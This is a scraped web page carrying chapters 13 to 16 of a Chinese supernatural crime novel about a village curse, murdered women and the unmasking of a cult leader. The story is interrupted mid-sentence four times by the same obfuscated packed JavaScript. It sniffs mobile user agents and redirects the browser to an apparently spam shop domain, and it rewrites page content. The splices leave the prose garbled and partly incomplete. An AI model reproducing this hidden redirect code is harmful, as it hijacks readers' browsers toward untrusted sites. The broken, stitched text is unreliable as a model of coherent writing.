RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182833|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我才是真的!刚才一直在追假江磊!” 掌心的炙痕突然指向楚遥,我心里一惊,却又很快平静——楚遥的眼神、动作,都和平时一样,没有破绽。 “周婆婆的意思是,吴茂林可能还会伪装成你!”我解释道。 就在这时,潭水突然剧烈翻涌,一个身影从水里冒出来,正是周婆婆!她浑身湿透,手里举着一个黑色的盒子,大喊:“水神印!我拿到了!” 楚遥立刻过去接应,就在她伸手要接过盒子时,周婆婆突然脸色一变,指向楚遥身后:“小心!他在你后面!” 我们回头,只见一个穿着警服的“楚遥”站在不远处,手里举着枪,嘴角带着冷笑:“周桂芬,你还是慢了一步。” 两个楚遥! 和之前的真假江磊一样,一模一样,连警服都分毫不差! “你是谁?!”真楚遥举枪对准她。 假楚遥摘下警帽,脸上的皮肤开始扭曲,慢慢撕下一张人皮面具——露出了一张和吴茂源几乎一模一样的脸! “吴茂林!”江磊惊呼。 吴茂林冷笑:“没错。我等这一天,等了几十年。水神印,还有梅芳的头发,都该物归原主了。” 他举起枪,对准周婆婆手里的盒子:“把水神印交出来,我可以让你们死得痛快一点。” 周婆婆把盒子扔给我:“宋溪月,快!双印合璧,才能破解社日祭的诅咒!铜戒和水神印,缺一不可!” 我接住盒子,打开一看,里面是一枚刻着“水”字的玉佩,和柳树根下的半块玉佩拼在一起,正好是完整的水神印! 吴茂林见状,疯狂开枪射击。楚遥拉着我和江磊躲到一块巨石后面,周婆婆却突然冲了出去,挡在我们前面。 “砰!”子弹击中了周婆婆的肩膀,她踉跄着倒下,却死死抱住吴茂林的腿:“宋溪月,快走!社日祭土台见!” 楚遥趁机开枪,击中了吴茂林的手臂。他吃痛,一脚踹开周婆婆,转身就往树林里跑。 我们赶紧扶起周婆婆,她脸色苍白,血流不止,却抓着我的手说:“梅芳的头发……被吴茂林用来做了引魂术……他想在社日祭,用所有受害者的魂灵,献祭自己,成为新的‘水神’……” “还有,你姥姥的日记里,藏着一个秘密……吴茂林的变脸术,需要用至亲的血……他的至亲,是……” 周婆婆的话没说完,就晕了过去。 救护车呼啸而至,将周婆婆送往医院。 我握着完整的水神印,和江磊的铜戒放在一起,两者突然发出微弱的光芒,交织在一起。 楚遥看着远处漆黑的树林:“吴茂林跑了,但他肯定会去社日祭土台。社日只剩一天,我们必须做好准备。” 江磊突然想起什么,拿出手机:“我姐发消息说,技侦在梅芳的头发残留物里,检测出了另一种DNA,和……我奶奶的DNA高度相似!” 吴茂林的至亲是江磊奶奶? 梅芳的头发被用来做引魂术,社日祭上,吴茂林要献祭魂灵? 两个楚遥的惊魂未定还没散去,吴茂林的阴谋又浮出水面。 更可怕的是,周婆婆没说完的话——吴茂林的至亲到底是谁?姥姥日记里的秘密又是什么? 社日祭土台,注定是一场生死对决。而我们手里的水神印,到底是破局的关键,还是另一个陷阱? (OS:信息量太大!江磊奶奶居然和吴茂林是至亲?梅芳的头发藏着这么大的阴谋!社日祭越来越近,吴茂林还会伪装成谁?这局到底怎么破?!) 13. 第 13 章 社日祭土台被夜色笼罩,残破的土坯台基在月光下泛着青灰,像蛰伏的巨兽。 我握着完整的水神印,江磊攥着奶奶的铜戒,楚遥带着警力潜伏在土台四周的荒草里。社日的风卷着纸钱灰烬,呜呜作响,像是无数冤魂的呜咽。 “宋溪月,你果然来了。”吴茂林的声音从土台顶端传来,他站在当年祭祀的主位上,手里拎着被绑住的周婆婆,黑色连帽衫的帽子滑落,露出那张和吴茂源如出一辙的脸。 周婆婆嘴被布条堵住,眼神焦急地冲我们摇头,示意危险。 “放了她。”我举起水神印,“你要的是这个,我带来了。” 吴茂林冷笑,指尖摩挲着一枚和江磊奶奶同款的“社”字铜戒:“我要的不只是水神印,还有你这个问阴婆的血脉。只有问阴婆的血,才能激活水神印的真正力量,让我成为新的‘水神’。” (OS:搞了半天,我才是终极耗材?这剧本我不接啊!) 江磊突然往前一步,声音发颤:“我奶奶呢?你把她怎么样了?” “你奶奶?”吴茂林挑眉,从口袋里掏出一撮干枯的头发——正是梅芳的头发,“她在这啊。当年她帮我监视文秀娥,帮吴茂源清理‘不安分’的女人,现在,她的血,正好能当祭品。” 他猛地将梅芳的头发扔向土台中央的火堆,火苗瞬间窜高,发出“噼啪”声响,空气中弥漫着烧焦的异味。 土台四周的荒草突然无风自动,那些被“清理”的女性魂灵,在火光的映照下,化作点点荧光,盘旋不散,眼神里满是怨毒。 “看到了吗?”吴茂林张开双臂,像是在拥抱那些魂灵,“她们的怨气,就是我最好的养料!社日祭,本就是用‘不安分’的女人献祭,我不过是延续传统,让这力量归我所有!” 楚遥在暗处打了个手势,潜伏的警力悄悄围拢。 “别白费力气了。”吴茂林像是背后长了眼睛,“这土台下面埋着七具女尸,是当年最早的受害者,她们的骨头被炼成了镇魂钉,你们的子弹打不进来。” 我掌心的炙痕剧烈发烫,水神印突然发出耀眼的光芒,与江磊手里的铜戒产生共鸣,一道红光从铜戒射出,缠绕在水神印上。 “双印合璧,才能破局!”周婆婆突然挣脱嘴里的布条,嘶吼着,“宋溪月,用你的血!水神印认主,只有问阴婆的血能净化这污秽!” 吴茂林脸色一变,猛地将周婆婆推向火堆:“找死!” 我毫不犹豫,咬破舌尖,一口鲜血喷在水神印上。 红光暴涨,水神印化作一道光柱,直冲天际。那些盘旋的魂灵被光柱笼罩,怨毒的眼神渐渐褪去,露出悲伤与不甘。 “春枝!秋燕!梅芳!”我嘶吼着,“你们的冤屈,今天了结!” 光柱落下,土台中央的火堆瞬间熄灭,露出七根发黑的镇魂钉。江磊反应极快,冲上去用工兵铲撬起镇魂钉,每撬起一根,土台就震动一下,那些被镇压的怨气便消散一分。 吴茂林急红了眼,掏出匕首冲向我,刀尖直刺水神印:“我谋划了几十年,不能毁在你手里!” 楚遥枪响,子弹擦过吴茂林的胳膊,他踉跄了一下,却依旧不肯停手。 “奶奶的铜戒,还有另一个用处!”江磊突然大喊,将铜戒扔给我,“日记里写,铜戒是‘清理者’的信物,也是镇魂钉的钥匙!” 我接住铜戒,将它按在水神印上。 “咔嚓”一声,铜戒与水神印完美契合,一道金色的符文从合璧处浮现,飞向土台四周的七个方位,正好对应七具女尸的埋骨地。 符文落地,地面裂开,七具早已腐朽的骸骨露出,上面缠绕的黑气瞬间被符文净化。 吴茂林发出绝望的嘶吼,他的身体开始扭曲,那些被他吸收的怨气反噬,从他皮肤里渗出,化作黑烟消散。 “不!我是水神!我不该死!”他疯狂地冲向土台边缘,却被突然出现的一道虚影拦住——是梅芳的魂灵。 梅芳的魂灵伸出透明的手,穿过吴茂林的身体。他像是被抽走了所有力气,瘫倒在地,脸上的皮肤快速衰老,露出狰狞的皱纹。 “你不是水神,你只是个沾满鲜血的刽子手。”梅芳的声音空灵,带着无尽的恨意,“我们的怨,不是你的养料,是你的催命符。” 吴茂林抽搐了几下,彻底没了气息。他手里的“社”字铜戒掉在地上,瞬间生锈发黑,化作粉末。 周婆婆被江磊解开绳索,她虚弱地靠在土台上,看着梅芳的魂灵,老泪纵横:“梅芳,我对不起你,当年我没能救你,只能偷偷藏起你的头发,等着有人为你报仇。” 梅芳的魂灵看了她一眼,没有说话,转身化作光点,与其他魂灵一起,朝着月光的方向飞去,渐渐消散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182834|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土台的震动停止,夜风也变得温和。楚遥带着警力上前,检查吴茂林的尸体,收集证据。 江磊突然在土台的暗格里发现一个铁盒,里面是一本完整的“清理者”名册,还有一封吴茂林的自白信。 信里写着,当年吴茂源为了权力,联合宗族势力成立“清理者”,吴茂林嫉妒哥哥的地位,假死脱身,暗中操控“清理者”,等着有一天取而代之。江磊的奶奶是被他胁迫,只能假意顺从,偷偷记录下所有罪证。 “我奶奶她……”江磊看着信,眼泪掉了下来。 “她是无辜的。”周婆婆轻声说,“她一直活在愧疚里,用自己的方式赎罪。当年她偷偷放走了好几个想逃跑的女人,只是不敢明着反抗。” 我握着合璧的水神印和铜戒,掌心的炙痕慢慢冷却,恢复了平静。姥姥的日记里,那些未说完的秘密,那些被掩盖的真相,终于在这一刻,全部揭开。 我们收拾好证据,准备离开土台时,江磊突然发现吴茂林的口袋里,有一张泛黄的照片。 照片上是年轻时的吴茂源、吴茂林,还有一个陌生的女人,怀里抱着一个婴儿。照片背面写着一行字:“水生,1978年腊月初七。” 水生!梅芳的孩子! “照片上的女人,是我奶奶!”江磊瞪大了眼睛,“她怀里的婴儿,是水生?我奶奶当年救了水生?” 周婆婆凑过来一看,脸色骤变:“没错!当年我把水生藏在清水东岸第三柳下,是你奶奶偷偷把他抱走,交给了一户无儿无女的人家收养。她怕吴茂林报复,一直没敢说。” 那水生现在在哪里?他还活着吗? 更让人震惊的是,照片上的陌生女人,眉眼间竟然和苏怀薇有几分相似! 苏怀薇的母亲是赵秀兰,当年的“第三位”受害者,她和水生之间,难道有什么关联? 还有,吴茂林的自白信里提到,“清理者”还有一个隐藏的据点,里面藏着更可怕的秘密,只是他没来得及说出具体位置。 社日祭的危机解除,但新的谜团又浮出水面。 水生的下落,苏怀薇的身世,隐藏的据点…… 这场跨越几十年的罪恶,真的彻底终结了吗? (OS:刚以为尘埃落定,结果又来一堆反转!水生居然还活着?苏怀薇和他有关?隐藏据点里到底藏着什么?这局怎么还有续集?!) 14. 第 14 章 社日祭土台的余烟还未散尽,江磊攥着那张泛黄的照片,指尖因用力而泛白。照片上抱着婴儿的女人眉眼与苏怀薇的相似度,像一根刺,扎进每个人心里。 “水生还活着?”楚遥盯着照片上的“水生”二字,眼神锐利,“周婆婆说当年是你奶奶把他交给了无儿无女的人家收养,有没有可能……那户人家就是苏怀薇的养父母?” 江磊猛地抬头,瞳孔骤缩:“苏怀薇?她也是被收养的?” “是。”我点头,想起苏怀薇提过自己并非亲生,“她养父母早逝,对身世一无所知。如果她真是水生,那她和赵秀兰(苏怀薇生母)之间,就不是简单的‘第三位受害者之女’,而是养母与养女的关系!” (OS:这关系网也太绕了!苏怀薇不仅是受害者之女,还可能是另一位受害者的孩子?) 楚遥立刻掏出手机:“我联系苏怀薇,让她尽快来清河县做DNA比对!这可能是解开所有谜团的关键!” 就在这时,我的手机突然震动,是苏怀薇发来的微信,附带一张模糊的旧物件照片——那是一个边缘磨损的银锁,锁身内侧刻着极小的“水生”二字,与照片上的婴儿襁褓绣纹完全吻合! “她找到了!”我惊呼,“这是她养父母留给她的唯一遗物,她一直带在身上!” 江磊激动得声音发颤:“这么说,苏怀薇真的是水生?我奶奶当年救了她,还让她认了受害者当妈?这到底是为什么?” 周婆婆还在医院昏迷,没人能回答这个问题。但有一点可以确定,苏怀薇的身世,是串联所有真相的关键。 我们驱车赶往医院,刚到病房门口,就看到一个熟悉的身影站在走廊尽头——苏怀薇提着行李箱,脸色苍白却眼神坚定。 “我看到你们的消息了。”她走到我们面前,举起脖子上的银锁,“我查了养父母的籍贯,就是清河县河西村。他们当年收养我的时间,也和照片上的日期对得上。” DNA比对需要时间,但苏怀薇的出现,让线索瞬间清晰。她跟着我们回到社日祭土台,站在那块刻着“水生”埋骨地的乱石堆前,掌心突然传来一阵灼热——她脖子上的银锁,与江磊手里的铜戒产生了共鸣,一道微弱的红光连接起两者。 “有反应!”江磊惊呼,“这银锁和铜戒,是一对?” 我蹲下身,抚摸着乱石堆下的泥土,掌心炙痕发烫。突然,我摸到一块松动的石板,掀开后,下面藏着一个锈迹斑斑的铁盒,正是吴茂林自白信里提到的“隐藏据点秘钥”。 铁盒里没有文件,只有一张折叠的地图,标注着清河县废弃砖窑的位置,旁边写着一行小字:“怨气之源,藏于窑底。” “废弃砖窑?”江磊皱眉,“我小时候听老人说,那砖窑几十年前塌过,埋了好几个人,后来就成了禁地,没人敢靠近。” 楚遥立刻联系当地警方:“我们现在就去砖窑!吴茂林说的隐藏据点,肯定在那里!” 驱车前往砖窑的路上,苏怀薇突然开口:“我小时候总做一个梦,梦里有个穿粗布衣裳的女人,抱着我站在窑门口哭,说‘等你长大了,一定要毁掉里面的东西’。当时我以为是幻觉,现在想来,那可能是梅芳的残念!” (OS:梅芳的残念一直守护着苏怀薇,还留下了线索?这也太好哭了!) 废弃砖窑坐落在山坳里,断壁残垣上爬满藤蔓,透着阴森的气息。窑口被碎石堵住,隐约能听到里面传来微弱的风声,像女人的呜咽。 “小心点,里面可能有机关。”楚遥拔出配枪,率先清理窑口的碎石。 我们钻进窑内,里面漆黑一片,弥漫着浓重的霉味和铁锈味。楚遥打开强光手电,照亮四周——墙壁上刻满了诡异的符文,与“清理者”符纸上的图案一致,地面散落着一些腐朽的木牌,上面写着当年受害者的名字。 “这里是‘清理者’的祭祀地!”我心头一沉,“他们用受害者的怨气炼制邪术,砖窑底下,肯定藏着更可怕的东西!” 江磊突然指向窑底深处:“你们看!那里有个暗门!” 暗门被藤蔓覆盖,上面挂着一把生锈的铜锁,锁芯形状与江磊奶奶的铜戒完全契合。江磊戴上手套,将铜戒插入锁芯,轻轻一拧—— “咔哒”一声,暗门应声而开,一股刺骨的寒意扑面而来。 暗门后是一条狭窄的通道,尽头透出微弱的绿光。我们顺着通道往前走,最终来到一个宽敞的地下室,里面摆满了大大小小的陶罐,每个陶罐上都贴着写有名字的黄符,绿光正是从陶罐里散发出来的。 “这些是……受害者的魂器!”我攥紧铜铃,掌心炙痕剧烈发烫,“吴茂林用邪术将受害者的怨气封印在陶罐里,用来增强自己的力量!” 地下室中央有一个石台,上面放着一本黑色封皮的古籍,正是吴茂林自白信里提到的“邪术秘籍”。古籍旁边,还压着一张纸条,上面写着:“怨气之核,藏于梅芳罐中;据点之钥,在水生血中。” 梅芳的陶罐!水生的血! 我们很快找到贴着“梅芳”标签的陶罐,罐口用红绳缠绕,上面刻着“水神印”的纹路。苏怀薇走到陶罐前,银锁突然发出强烈的红光,陶罐上的红绳自动断裂,罐口缓缓打开。 里面没有怨气,只有一卷泛黄的布条,上面是梅芳的字迹:“清理者的保护伞,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182835|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当年的公社书记,他的后代仍在操控组织;隐藏据点的真正秘钥,是水生的血与水神印结合,可摧毁所有魂器,终结诅咒。” 公社书记的后代? 楚遥突然想起什么:“之前追查‘清理者’资金流向时,发现有一笔匿名资金来自清河县现任政协副主席——吴天泽!他是吴茂源的侄子,也就是吴茂林的侄孙!” 真相终于浮出水面!吴天泽才是“清理者”的现任操控者,吴茂林只是他的棋子! 就在这时,地下室的灯光突然熄灭,外面传来密集的脚步声。楚遥的对讲机里传来急促的声音:“楚队!我们被包围了!是吴天泽的人!他们带着武器!” 黑暗中,几道手电光柱扫来,吴天泽的声音带着阴冷的笑意:“宋溪月,江磊,苏怀薇……你们果然没让我失望,帮我找到了最后的秘钥。” 他的人慢慢逼近,手里的枪口对准我们:“把水神印和苏怀薇交出来,我可以让你们死得痛快一点。” 苏怀薇攥紧银锁,眼神坚定:“我不会让你们再害人!” 江磊突然将我和苏怀薇护在身后,举起奶奶的铜戒:“想动她,先过我这关!” 我握紧合璧的水神印和铜戒,掌心炙痕与苏怀薇的银锁产生强烈共鸣,一道红光笼罩整个地下室。那些封印着怨气的陶罐开始剧烈震动,里面的绿光越来越亮。 “不好!怨气要失控了!”我大喊。 吴天泽脸色一变,疯狂下令:“开枪!快开枪!” 枪声响起的瞬间,苏怀薇突然冲向石台,将银锁按在古籍上,同时咬破指尖,鲜血滴在水神印上—— “以水生之名,解百年之怨!” 水神印爆发出耀眼的光芒,地下室的陶罐纷纷炸裂,无数光点升腾而起,化作受害者的魂灵,朝着吴天泽的人扑去。 混乱中,吴天泽趁乱冲向暗门,手里拿着一个黑色的盒子——那是从梅芳陶罐里掉出来的,上面刻着“清理者核心”的字样! “他要跑!”楚遥开枪射击,却被魂灵的怨气阻挡。 我看着苏怀薇被魂灵环绕,又看着逃跑的吴天泽,突然意识到:那黑色盒子里,不仅有清理者的核心秘密,还可能藏着吴茂林没说完的“终极计划”。 更可怕的是,魂灵的怨气虽然暂时失控,但没有彻底消散,一旦失控,清河县将沦为人间炼狱。 而苏怀薇,作为水生,既是解开诅咒的关键,也可能是怨气反噬的目标。 (OS:吴天泽带着核心秘密逃跑,魂灵怨气失控,苏怀薇的安危悬于一线!隐藏据点的秘钥已经激活,但诅咒还没终结,这最后一步,到底该怎么破?!) 15. 第 15 章 社日祭土台的风卷着纸钱灰烬,在月光下打着旋。 我握着完整的水神印,掌心炙痕与苏怀薇颈间的银锁产生强烈共鸣,红光如丝带缠绕,将整个土台笼罩。吴天泽带着残部被魂灵围困,嘶吼着挥刀砍向逼近的虚影,却只砍到一片空气。 “不可能!这不可能!”他红着眼,看着那些被怨气包裹的魂灵,“你们本该是祭品,怎么敢反抗我?” 周婆婆被江磊扶着,肩膀的伤口还在渗血,却眼神锐利:“吴天泽,你以为延续陋习就能掌控力量?你和你祖辈一样,不过是躲在规则背后的懦夫!” 楚遥趁机指挥警力,将外围的清理者逐一制服。但土台被镇魂钉镇压的怨气尚未完全消散,那些未被净化的黑气仍在翻涌,像伺机反扑的毒蛇。 “宋溪月!用你的血!”周婆婆嘶吼,“水神印认主,只有问阴婆的血能彻底净化这污秽,让魂灵安息!” 我毫不犹豫,咬破舌尖,一口鲜血喷在水神印上。红光暴涨,化作无数细小的光柱,穿透黑气,落在每一个魂灵身上。春枝、秋燕、梅芳的虚影在光柱中渐渐清晰,脸上的怨毒褪去,露出释然的神情。 “是时候结束了。”我对着魂灵喊道,“你们的冤屈,今日了结!” 江磊握着奶奶的铜戒,冲到土台中央,将铜戒按在最后一根未被拔除的镇魂钉上。“咔嚓”一声,镇魂钉应声断裂,土台剧烈震动,最后一缕黑气化作青烟消散。 吴天泽见大势已去,突然从怀中掏出一个黑色匣子,猛地砸向土台中央的石缝:“我得不到的,谁也别想得到!这土台底下埋着七具女尸的骸骨,我毁了她们,让你们永远找不到完整的证据!” 匣子裂开,里面的黑色粉末撒落,石缝中瞬间冒出刺鼻的黑烟。那些刚要消散的魂灵突然剧烈晃动,像是被黑烟灼烧,发出痛苦的呜咽。 “不好!是锁魂粉!”周婆婆脸色大变,“他想让魂灵永不超生!” 苏怀薇突然上前一步,摘下颈间的银锁,将指尖鲜血滴在上面:“以水生之名,唤百年之魂!” 银锁发出耀眼的白光,与水神印的红光交织,形成一道红白相间的光幕。光幕落下,黑烟瞬间被驱散,石缝中传来骨骼摩擦的轻响,七具残缺的骸骨缓缓升起,在光幕中凝聚成完整的形态。 “这些骸骨,是当年最早的受害者,也是水神印的本源之力。”周婆婆哽咽着,“梅芳当年藏起的,不仅是名单,还有激活水神印的方法——需要七位受害者的骸骨与水生的血,才能让水神印彻底觉醒。” 苏怀薇的银锁贴近骸骨,白光渗入每一块骨骼,水神印突然腾空而起,在月光下化作一道光柱,直冲天际。土台四周的荒草无风自动,那些被清理的女性魂灵化作点点荧光,围绕着光柱盘旋,最终融入骸骨之中。 吴天泽被光柱的冲击力掀翻在地,挣扎着想要爬起,却被楚遥上前按住,手铐“咔嚓”锁上。“你以为销毁证据就能脱罪?账本、胶卷,还有这些骸骨,都是你们罪行的铁证!” 就在这时,土台中央的骸骨突然发出微光,缓缓拼凑成一个模糊的女性虚影——是七位受害者的魂灵凝聚而成的合力之形。她伸出透明的手,轻轻触碰水神印,水神印瞬间收敛光芒,化作一枚玉佩,落在苏怀薇手中。 “水生,我们终于可以安息了。”虚影轻声说,然后渐渐消散在夜风中。 土台的震动停止了,风也变得温和。楚遥让人将吴天泽带走,开始清理现场,收集散落的证据。江磊蹲在奶奶的铜戒旁,看着那枚失去光泽的铜戒,眼眶泛红。 周婆婆靠在土台边,缓缓开口:“其实,你奶奶从来不是清理者的帮凶。她是被吴茂林胁迫,假意顺从,暗中记录下所有受害者的名单和真相。那枚铜戒,是她用来传递线索的信物。” 江磊猛地抬头:“那她现在在哪?吴茂林有没有伤害她?” “她被吴茂林藏在土台底下的暗室里。”周婆婆指向土台西侧的石砖,“当年她偷偷挖了暗室,既为了藏身,也为了守护骸骨。吴茂林以为她是自己人,才没对她下死手。” 我们顺着周婆婆指的方向,撬开松动的石砖,果然露出一个狭窄的暗室。江磊第一个钻进去,片刻后抱着一位白发苍苍的老人出来——正是他的奶奶周桂芬。 “奶奶!”江磊哽咽着,“对不起,我之前误会您了。” 周桂芬虚弱地睁开眼,握住江磊的手,又看向我:“溪月,你姥姥当年没看错人。文秀娥一生都在守护这些冤魂,现在,轮到你们了。”她从怀中掏出一个布包,里面是半块玉佩,与苏怀薇手中的水神印拼在一起,正好形成完整的“水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182836|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神令牌”。 “这令牌,不仅能镇压怨气,还能感应清理者的余孽。”周桂芬喘着气,“吴天泽背后还有人,清理者的网络没那么容易彻底摧毁。这令牌,你收好,日后若有异动,它会给你提示。” 我接过令牌,玉佩冰凉,却隐隐透着暖意。掌心的炙痕慢慢冷却,恢复了平静。 楚遥走来,脸上带着疲惫却坚定的神色:“上级已经启动紧急预案,清河县的保护伞会逐一被清查。但我们不能掉以轻心,清理者经营多年,可能还有漏网之鱼。” 苏怀薇抚摸着颈间的银锁,轻声说:“我会留在清河县,重建母亲当年没能完成的心愿——在这里建一座女性记忆纪念馆,让所有受害者的名字被永远铭记。” 江磊握紧奶奶的铜戒:“我会帮奶奶赎罪,也会继续寻找当年受害者的亲属,让他们知道真相。” 我看着手中的水神令牌,又看向土台方向,月光下,那些消散的魂灵仿佛化作了点点星光,照亮了脚下的土地。 三天后,清河县的清理者余党被全部抓获,吴天泽及其保护伞被依法逮捕。我们在整理吴茂林的遗物时,发现了一本加密日记,破译后,里面的内容让所有人脸色凝重。 日记里写着:“影子从未消失,水神印的力量并非终点。清理者的核心,藏在清水潭底的水下古城,那里有更古老的契约,和足以颠覆一切的秘密。文秀娥当年留下的,不仅是名单,还有打开古城的钥匙——问阴婆的血脉,和水生的银锁。” 更令人心惊的是,日记最后一页画着一个诡异的符号,与静水庵牌位上的“水”字变形符号一模一样,旁边写着一行小字:“十年后,社日重临,水神归位,新的清理者会从古城走出。” 我握着水神令牌,掌心的炙痕突然微微发烫。苏怀薇颈间的银锁也开始震动,发出细微的嗡鸣。 清水潭底的水下古城?十年后的社日?新的清理者? 吴茂林的话是真是假?水下古城里藏着什么秘密?当年的契约又是什么? 我们以为社日祭土台是终局,却没想到,这只是另一场风暴的开端。 (OS:水下古城、古老契约、十年之约……这局根本没结束!清理者的核心秘密藏在潭底,我们到底要不要去探寻?十年后的社日,又会迎来怎样的危机?) 16. 第 16 章 清水潭的风带着刺骨的湿冷,卷着岸边的枯草打旋。 我握着水神令牌,苏怀薇攥着颈间的银锁,两人站在潭边,令牌与银锁同时发出微弱的嗡鸣,像是在回应潭底深处的某种召唤。江磊背着潜水装备,脸色复杂地看着浑浊的潭水,楚遥则拿着吴茂林的加密日记,眉头紧锁。 “日记最后一页的符号,和静水庵牌位上的完全吻合。”楚遥指着日记,“而且破译出的补充内容提到,水下古城是‘清理者’的起源地,契约刻在古城中心的石碑上,需要问阴婆的血和水生的银锁才能解锁。” 苏怀薇指尖泛白:“解锁契约?是要毁掉它,还是……激活它?” “吴茂林没说。”楚遥摇头,“但他提到‘影子从未消失’,大概率是指契约本身带有诅咒,只要古城存在,清理者就会不断出现。” (OS:合着我们捣毁了一个吴茂林,还有一个更古老的“终极BOSS”藏在潭底?这副本是套娃呢?) 江磊检查着潜水设备:“清水潭最深有五十多米,水下能见度极低,而且暗流多,传说底下连通地下河。我们真要下去?” “必须去。”我掌心的炙痕微微发烫,“十年之约只剩九年,现在不查清,等新的清理者从古城出来,我们连准备时间都没有。” 楚遥点头:“我已经联系了专业的水下勘探队,半小时后到。但为了不打草惊蛇,我们先带简易装备下去探查入口,等勘探队到位再深入。” (一) 半小时后,潜水装备穿戴完毕。我、楚遥、江磊三人下水,苏怀薇留在岸边接应,同时用银锁感应水下异动——吴茂林日记提到,银锁能感知古城的能量波动。 冰冷的潭水包裹过来,能见度果然极差,手电光柱只能照出前方一米左右的范围。水下一片死寂,只有气泡上升的“咕嘟”声,和我们呼吸调节器的气流声。 “往东南方向,苏怀薇说银锁在那边感应最强。”楚遥通过对讲机传话,声音带着水下通讯的杂音。 我们缓慢下潜,潭水越来越凉,周围的黑暗像是有生命般,紧紧压迫着神经。江磊的手电突然照到一个奇怪的东西,惊呼出声:“你们看!” 光柱下,是一块突出的岩石,上面刻着与静水庵牌位上一模一样的“水”字变形符号,符号周围还有一圈模糊的刻痕,像是某种祭祀纹路。 “这是标记。”我凑近查看,符号边缘有新鲜的磨损痕迹,“有人近期来过这里,很可能是吴茂林。” 楚遥用□□轻轻敲击岩石,传来空洞的回声:“下面是空的,入口应该在这附近。” 我们围绕岩石搜索,很快在岩石下方发现一个狭窄的洞口,直径约两米,边缘光滑,明显是人工开凿的。洞口周围的水流异常湍急,像是有强大的吸力。 “苏怀薇,能感应到里面的情况吗?”楚遥对着对讲机喊。 片刻后,苏怀薇的声音传来,带着明显的颤抖:“里面……能量很强,像是有很多怨气聚集。而且,我感觉到一种熟悉的气息,和吴茂林身上的很像,但更古老、更冰冷。” “是古城的气息。”我握紧水神令牌,令牌在水下发出微弱的红光,“它在指引方向,跟着红光走。” 我们依次钻进洞口,洞内空间豁然开阔,水流反而平缓了许多。手电光柱扫过,四周是粗糙的岩石墙壁,上面布满了密密麻麻的刻痕,大多是之前见过的“水”字符号,还有一些描绘着祭祀场景的壁画——一群穿着古装的人,围着一个石台,石台上绑着女子,台下是翻涌的河水。 “这是最早的清理者祭祀?”江磊倒吸一口凉气,“他们在献祭女性,唤醒古城的力量?” “吴茂林日记说,契约是与‘水神’签订的,用女性的怨气滋养古城,换取力量。”楚遥的声音凝重,“这些壁画,就是契约的起源。” 我们继续深入,前方出现微弱的绿光,像是生物发光。靠近后才发现,绿光来自岩壁上生长的一种罕见水藻,这种水藻只在无氧、有特殊能量场的环境中生长,进一步证实了古城的特殊性。 突然,我的水神令牌红光暴涨,苏怀薇的声音在对讲机里急促响起:“小心!前方有强烈的能量波动,像是有什么东西被激活了!” 手电光柱向前延伸,只见前方不远处,是一扇巨大的石门,石门上刻着一幅完整的壁画——一位女子手持令牌,站在古城顶端,脚下是无数怨魂,旁边写着一行古老的篆字:“问阴掌印,水生为钥,契约不灭,怨气不止。” “这行字的意思是,问阴婆的令牌和水生的银锁,是契约的关键,但只要契约存在,怨气就永远不会消失。”楚遥解读道,“吴茂林想做的,可能是毁掉契约,或者取而代之成为新的‘水神’。” 石门下方有一个凹槽,形状与水神令牌完全契合。我游过去,将令牌嵌入凹槽,令牌瞬间发出耀眼的红光,石门缓缓震动,裂开一条缝隙。 缝隙中透出刺骨的寒意,伴随着隐约的呜咽声,像是无数冤魂在哭泣。江磊的手电照进去,只见门后是一条通道,通道两侧的岩壁上,摆放着一个个石龛,每个石龛里都放着一个小小的陶罐,罐口贴着黄符,正是之前见过的“魂契”陶罐! “这些陶罐里,装的是历代受害者的怨气精华。”我看着陶罐上的符纸,与周婆婆当年的符纸一模一样,“吴茂林的‘魂契’,就是从这里来的。” (二) 我们穿过石门,进入古城内部。这里像是一个巨大的地下宫殿,顶部有天然的钟乳石,滴下水珠,在地面形成浅浅的水洼。宫殿中央,是一座高台,高台上矗立着一块巨大的石碑,正是吴茂林提到的契约石碑。 石碑上刻满了密密麻麻的篆字,还有一些模糊的图案。我走近石碑,水神令牌再次发烫,石碑上的篆字竟然开始发光,缓缓浮现出清晰的译文: 